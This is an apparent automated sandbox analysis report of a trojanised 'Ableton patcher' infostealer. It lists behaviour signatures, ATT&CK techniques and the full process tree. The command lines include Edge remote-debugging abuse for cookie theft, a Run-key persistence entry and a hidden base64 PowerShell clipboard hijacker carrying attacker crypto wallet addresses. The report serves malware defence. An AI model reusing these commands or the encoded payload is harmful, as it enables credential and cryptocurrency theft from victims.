Overview

overview

8

Static

static

3

Patcher an...ER.exe

windows10-2004-x64

8

Patcher an...ER.exe

windows11-ltsc_2024-x64

8

Patcher an...v2.exe

windows10-2004-x64

8

Patcher an...v2.exe

windows11-ltsc_2024-x64

8

Patcher an...fo.txt

windows10-2004-x64

1

Patcher an...fo.txt

windows11-ltsc_2024-x64

1

Analysis

  • user interaction
    yes
  • max time kernel
    148s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/08/2026, 03:20

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Patcher and Keygen/ABLETON PATCHER.exe
  • Size 13.4MB
  • Sample260802-dv62jasvav
  • SHA256 e60ed0a8bbffeb9b584c0746e451629f3e4e1a44b05f145c8e52f6c86a49ad62
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
credential_accessdefense_evasiondiscoveryexecutionpersistencespywarestealer

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Uses browser remote debugging 2 TTPs 5 IoCs

    Can be used to control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 33 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\Patcher and Keygen\ABLETON PATCHER.exe
    "C:\Users\Admin\AppData\Local\Temp\Patcher and Keygen\ABLETON PATCHER.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3244
    • C:\Users\Admin\AppData\Local\Temp\Patcher and Keygen\ABLETON PATCHER.exe
      "C:\Users\Admin\AppData\Local\Temp\Patcher and Keygen\ABLETON PATCHER.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2400
      • C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_2400.exe
        C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_2400.exe
        3⤵
        • Executes dropped EXE
        PID:1272
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM msedge.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4640
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9876 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox
        3⤵
        • Uses browser remote debugging
        • Checks processor information in registry
        • Enumerates system info in registry
        • Modifies registry class
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:1208
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x228,0x22c,0x230,0x224,0x250,0x7ff907cdc188,0x7ff907cdc194,0x7ff907cdc1a0
          4⤵
            PID:1932
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2132,i,7352617662260004747,16675489808502449926,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2128 /prefetch:2
            4⤵
              PID:4136
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2132,i,7352617662260004747,16675489808502449926,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2192 /prefetch:3
              4⤵
              • System Time Discovery
              PID:4268
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2132,i,7352617662260004747,16675489808502449926,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2900 /prefetch:8
              4⤵
                PID:1792
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2132,i,7352617662260004747,16675489808502449926,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3200 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:3296
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2132,i,7352617662260004747,16675489808502449926,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3412 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:3908
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2132,i,7352617662260004747,16675489808502449926,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:656
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2132,i,7352617662260004747,16675489808502449926,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3204 /prefetch:2
                4⤵
                • Uses browser remote debugging
                PID:2628
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2132,i,7352617662260004747,16675489808502449926,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4452 /prefetch:8
                4⤵
                  PID:2968
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2132,i,7352617662260004747,16675489808502449926,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4548 /prefetch:8
                  4⤵
                    PID:3876
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2132,i,7352617662260004747,16675489808502449926,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4608 /prefetch:8
                    4⤵
                      PID:1760
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2132,i,7352617662260004747,16675489808502449926,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4632 /prefetch:8
                      4⤵
                        PID:3296
                      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2132,i,7352617662260004747,16675489808502449926,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5128 /prefetch:8
                        4⤵
                          PID:4296
                        • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2132,i,7352617662260004747,16675489808502449926,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5128 /prefetch:8
                          4⤵
                            PID:4192
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\tmp9e8gh3ol.ps1
                          3⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2564
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\GRBvzzTWDC.vbs""
                          3⤵
                          • Hide Artifacts: Hidden Files and Directories
                          • Suspicious use of WriteProcessMemory
                          PID:1804
                          • C:\Windows\system32\attrib.exe
                            attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\GRBvzzTWDC.vbs"
                            4⤵
                            • Views/modifies file attributes
                            PID:3532
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GRBvzzTWDC" /t REG_SZ /d "wscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\GRBvzzTWDC.vbs"" /f"
                          3⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4712
                          • C:\Windows\system32\reg.exe
                            reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GRBvzzTWDC" /t REG_SZ /d "wscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\GRBvzzTWDC.vbs"" /f
                            4⤵
                            • Adds Run key to start application
                            PID:540
                        • C:\Windows\SYSTEM32\wscript.exe
                          wscript.exe C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\GRBvzzTWDC.vbs
                          3⤵
                          • Checks computer location settings
                          • Executes a VBScript file via the Windows Script Host.
                          • Suspicious use of WriteProcessMemory
                          PID:700
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand CgAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMACgAKACQAYQBkAGQAeQAgAD0AIABAAHsACgAKACAAIAAgACAAIgBiAHQAYwAiAD0AIgBiAGMAMQBxAGYAcAB0ADYAbABqAG0ANwBqADIAZQBkAHMAagBuADYAZgA4AGEAcQBzAHQAOQBxAHUANgB4ADUANQBkAGcAeQBmAHoAMwAwAGgAdwAiADsACgAKACAAIAAgACAAIgBlAHQAaAAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBsAHQAYwAiAD0AIgBsAHQAYwAxAHEAZgBjAHIAcABtAHgAdwA3ADQAMgBsAGMAZQBmADQAMwA1ADUAMgA2AGwAdwBkAHEAeQBuAHQAOABlAHIAcwBtAHQANAB5AGgAYQA3ACIAOwAKAAoAIAAgACAAIAAiAHUAcwBkAHQAIgA9ACIAVABVAEMAcgBhADcAYwA0ADgAYgB5AEwANAB4AEgAZgBaAFcAbgBYAGcAbQBKAEQAdQBQAHcAOQB1AHAAVABQAHoAMgAiADsACgAKACAAIAAgACAAIgB0AHIAeAAiAD0AIgBUAFUAQwByAGEANwBjADQAOABiAHkATAA0AHgASABmAFoAVwBuAFgAZwBtAEoARAB1AFAAdwA5AHUAcABUAFAAegAyACIAOwAKAAoAIAAgACAAIAAiAHMAbwBsACIAPQAiADUARQBXAHYATABLAFcAagA2ADYAcgBzAFYAdwBkAG8AVQBqAFQAeQBnAHUAagBqAFMAZgB1AHMARQBYAGYAVABSAGIAaAB2AFMANQBUAEIAaQAxAE0AeQAiADsACgAKACAAIAAgACAAIgB4AHIAcAAiAD0AIgByADMATgBWAEcAOQBQAEQAaABTAEoAZgBWAFIAdQBjAHYAVABoAFcAUwBQAGQAMQBRAEoAcgB2ADIAYwBuADIAZABvACIAOwAKAAoAIAAgACAAIAAiAHQAbwBuACIAPQAiAFUAUQBBADQAYQBsAGgAaAB2AGgAVABLAHEAeAB4AHUAdgB3AEMAeAByAHMAUgBsAEMASQBTAG0AQwBrADMAbQBLAFAAUAAwAHEARQBwAEwAcwB0AHIAcABtAHgAQgBpACIAOwAKAAoAIAAgACAAIAAiAGQAbwBnAGUAIgA9ACIARABHAGYANgBpAEoAZAA5AGIAZwBTAHQARwBkAEIASAA3AHYAeQB1AGsAcwBXAG0AZQA2AEYAQQB0AG4AbQBwAG8AdQAiADsACgAKACAAIAAgACAAIgBhAGQAYQAiAD0AIgBhAGQAZAByADEAcQA5AHUAYQBkAHMAcQBzAHUAcgB5AGwAagBqAG0AdABzAGEAbgBmAHcAMwB6ADgAdABzAHcAcQBhAGQAOQB3AGQAdQB2AGoAegA5ADMAawBxAHAAaABmAG4AcABzADAAcQBuADMAZABxAGMAbAAyAG4AawBhADgAZgB4AHkAcQB4AGoAOQB4AHQAcgB4AHcANwBwAGoAcQB4AGsAdQBjADUAbQAyAG4AcABoAGsAZgBoADcAOABzADQAawA5ADMAdgA3ACIAOwAKAAoAIAAgACAAIAAiAHMAaABpAGIAIgA9ACIAMAB4ADgAZQA5ADcANwBjADAAMABFAGYAZQBGADAAZQAzAEMAOQBhADAANAA0AEMAMAA2ADQAMQBlADIANgA0ADgARgA3ADcAMwAxADQAMgA1AGQAIgA7AAoACgAgACAAIAAgACIAcABlAHAAZQAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBiAG4AYgAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBzAHUAaQAiAD0AIgAwAHgANAA5ADYAYwA1AGEAZABkAGYAMQA2ADYAZgA2ADcAOQAxAGEAMwBlAGUAYgAwAGIAMQBkADcANwBmAGQANgA1ADEAMABmADQANQA2ADIANQA2AGUANAAzAGEAOQBiADEAZAAwAGMANABhADgAOABiADMAMQA0AGYAZAA5ADcAZQAiADsACgAKACAAIAAgACAAIgB4AGwAbQAiAD0AIgBHAEEATQBCAEwAUwBQAEoASgBOAEMAUgBFAFcANwAyAFoARABDADIAQQBPAFoASgBMAEQANgBSAE4ATwBJAE4AWABHAE8ARwBMAFAASQBRAFAANgBOADMAQQA1AFUARABPAEMAWgBMAEUAQQA0ADQAIgA7AAoACgAgACAAIAAgACIAYgBjAGgAIgA9ACIAcQB6ADcAagB1ADAAOAA2AHAAMgAwAHMAdwBhAGgAcgByAGUAYQBoAGcANQBmADkANQBoAGgAZwBtAHUAdwBjAHoAcQBoAG4AbgA3AHAAbgBwAGQAIgAKAAoAfQAKAAoAdwBoAGkAbABlACgAJAB0AHIAdQBlACkAewAKACAAIAAgACAAdAByAHkAewAKACAAIAAgACAAIAAgACAAIAAkAHYAPQAkAG4AdQBsAGwACgAgACAAIAAgACAAIAAgACAAaQBmACgAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAGwAaQBwAGIAbwBhAHIAZABdADoAOgBDAG8AbgB0AGEAaQBuAHMAVABlAHgAdAAoACkAKQB7AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAEMAbABpAHAAYgBvAGEAcgBkAF0AOgA6AEcAZQB0AFQAZQB4AHQAKAApAC4AVAByAGkAbQAoACkACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAoACEAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIAVwBoAGkAdABlAFMAcABhAGMAZQAoACQAdAApACkAewAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAoADEAfAAzAHwAYgBjADEAKQBbAGEALQB6AEEALQBIAEoALQBOAFAALQBaADAALQA5AF0AewAyADUALAA2ADIAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAYgB0AGMAIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAwAHgAWwBhAC0AZgBBAC0ARgAwAC0AOQBdAHsANAAwAH0AJAAnACkAewAkAHYAPQAkAGEAZABkAHkAWwAiAGUAdABoACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4AKABMAHwATQB8AGwAdABjADEAKQBbAGEALQBrAG0ALQB6AEEALQBIAEoALQBOAFAALQBaADEALQA5AF0AewAyADYALAA0ADAAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAbAB0AGMAIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgBUAFsAYQAtAHoAQQAtAEgASgAtAE4AUAAtAFoAMAAtADkAXQB7ADMAMwB9ACQAJwApAHsAJAB2AD0AJABhAGQAZAB5AFsAIgB1AHMAZAB0ACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4AWwAxAC0AOQBBAC0ASABKAC0ATgBQAC0AWgBhAC0AawBtAC0AegBdAHsAMwAyACwANAA0AH0AJAAnACkAewAkAHYAPQAkAGEAZABkAHkAWwAiAHMAbwBsACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4AcgBbADAALQA5AGEALQB6AEEALQBaAF0AewAyADQALAAzADQAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAeAByAHAAIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAoAFUAUQB8AEUAUQApAFsAQQAtAFoAYQAtAHoAMAAtADkAXwAtAF0AewA0ADYAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAdABvAG4AIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgBEAFsANQAtADkAQQAtAEgASgAtAE4AUAAtAFUAXQBbADEALQA5AEEALQBIAEoALQBOAFAALQBaAGEALQBrAG0ALQB6AF0AewAzADIALAAzADMAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAZABvAGcAZQAiAF0AfQAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABlAGwAcwBlAGkAZgAoACQAdAAgAC0AbQBhAHQAYwBoACAAJwBeAGEAZABkAHIAMQBbADAALQA5AGEALQB6AF0AewA1ADgALAB9ACQAfABeAEQAZAB6AEYARgBbAEEALQBaAGEALQB6ADAALQA5AF0AKwAnACkAewAkAHYAPQAkAGEAZABkAHkAWwAiAGEAZABhACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4ARwBbAEEALQBaADAALQA5AF0AewA1ADUAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAeABsAG0AIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAoAGIAaQB0AGMAbwBpAG4AYwBhAHMAaAA6ACkAPwBbAHEAcABdAFsAYQAtAHoAMAAtADkAXQB7ADQAMQB9ACQAJwApAHsAJAB2AD0AJABhAGQAZAB5AFsAIgBiAGMAaAAiAF0AfQAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAKAAkAHYAIAAtAGEAbgBkACAAJAB0ACAALQBuAGUAIAAkAHYAKQB7AFsAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAC4AQwBsAGkAcABiAG8AYQByAGQAXQA6ADoAUwBlAHQAVABlAHgAdAAoACQAdgApAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAIAB9AAoACgAgACAAIAAgAH0AYwBhAHQAYwBoAHsAfQAKAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANQAwADAACgAKAH0ACgAKAA==
                            4⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3964
                    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                      1⤵
                        PID:3540
                      • C:\Windows\System32\rundll32.exe
                        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                        1⤵
                          PID:1084

                        Network

                              MITRE ATT&CK Enterprise v16

                              Reconnaissance

                              Resource Development

                              Initial Access

                              Execution

                              Command and Scripting Interpreter

                              3
                              T1059

                              PowerShell

                              1
                              T1059.001

                              Visual Basic

                              1
                              T1059.005

                              Windows Command Shell

                              1
                              T1059.003

                              Persistence

                              Boot or Logon Autostart Execution

                              1
                              T1547

                              Registry Run Keys / Startup Folder

                              1
                              T1547.001

                              Modify Authentication Process

                              1
                              T1556

                              Privilege Escalation

                              Boot or Logon Autostart Execution

                              1
                              T1547

                              Registry Run Keys / Startup Folder

                              1
                              T1547.001

                              Defense Evasion

                              Hide Artifacts

                              2
                              T1564

                              Hidden Files and Directories

                              2
                              T1564.001

                              Modify Authentication Process

                              1
                              T1556

                              Modify Registry

                              1
                              T1112

                              Credential Access

                              Credentials from Password Stores

                              1
                              T1555

                              Credentials from Web Browsers

                              1
                              T1555.003

                              Modify Authentication Process

                              1
                              T1556

                              Steal Web Session Cookie

                              1
                              T1539

                              Unsecured Credentials

                              3
                              T1552

                              Credentials In Files

                              3
                              T1552.001

                              Discovery

                              Browser Information Discovery

                              1
                              T1217

                              Query Registry

                              3
                              T1012

                              System Information Discovery

                              4
                              T1082

                              System Network Configuration Discovery

                              1
                              T1016

                              Internet Connection Discovery

                              1
                              T1016.001

                              System Time Discovery

                              1
                              T1124

                              Lateral Movement

                              Collection

                              Data from Local System

                              2
                              T1005

